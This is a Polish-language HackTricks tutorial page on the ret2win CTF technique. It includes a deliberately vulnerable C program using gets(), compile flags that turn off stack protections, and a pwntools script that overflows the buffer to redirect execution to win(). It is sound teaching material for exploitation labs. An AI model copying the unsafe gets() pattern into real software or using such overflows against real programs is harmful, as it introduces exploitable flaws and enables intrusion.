Ret2win

Support HackTricks

Podstawowe informacje

Ret2win to popularna kategoria wyzwań w Capture The Flag (CTF), szczególnie w zadaniach związanych z binary exploitation. Celem jest wykorzystanie luki w danym binarnym pliku, aby wykonać określoną, niewywołaną funkcję w tym pliku, często nazywaną win, flag itp. Ta funkcja, po wykonaniu, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu adresu powrotu na stosie, aby przekierować przepływ wykonania do pożądanej funkcji. Oto bardziej szczegółowe wyjaśnienie z przykładami:

Przykład w C

Rozważmy prosty program w C z luką i funkcją win, którą zamierzamy wywołać:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Aby skompilować ten program bez ochrony stosu i z wyłączonym ASLR, możesz użyć następującego polecenia:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Kompiluj program jako 32-bitowy plik binarny (to jest opcjonalne, ale powszechne w wyzwaniach CTF).

  • -fno-stack-protector: Wyłącz ochronę przed przepełnieniem stosu.

  • -z execstack: Zezwól na wykonywanie kodu na stosie.

  • -no-pie: Wyłącz Position Independent Executable, aby upewnić się, że adres funkcji win się nie zmienia.

  • -o vulnerable: Nazwij plik wyjściowy vulnerable.

Python Exploit używając Pwntools

Do exploitacji użyjemy pwntools, potężnego frameworka CTF do pisania exploitów. Skrypt exploitowy stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji win.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Aby znaleźć adres funkcji win, możesz użyć gdb, objdump lub innego narzędzia, które pozwala na inspekcję plików binarnych. Na przykład, z objdump możesz użyć:

objdump -d vulnerable | grep win

To polecenie pokaże Ci asembler funkcji win, w tym jej adres początkowy.

Skrypt Pythona wysyła starannie skonstruowaną wiadomość, która, gdy jest przetwarzana przez vulnerable_function, przepełnia bufor i nadpisuje adres powrotu na stosie adresem win. Gdy vulnerable_function zwraca, zamiast wracać do main lub kończyć, skacze do win, a wiadomość jest drukowana.

Ochrony

  • PIE powinno być wyłączone, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie zawsze będzie taki sam i potrzebowałbyś jakiegoś leaku, aby dowiedzieć się, gdzie załadowana jest funkcja win. W niektórych przypadkach, gdy funkcja, która powoduje przepełnienie, to read lub podobna, możesz wykonać Częściowe Nadpisanie 1 lub 2 bajtów, aby zmienić adres powrotu na funkcję win. Z powodu działania ASLR, ostatnie trzy heksadecymalne nibble nie są losowe, więc istnieje 1/16 szansy (1 nibble), aby uzyskać poprawny adres powrotu.

  • Stack Canaries również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie będzie śledzony.

Inne przykłady i odniesienia

Przykład ARM64

Wsparcie dla HackTricks

Last updated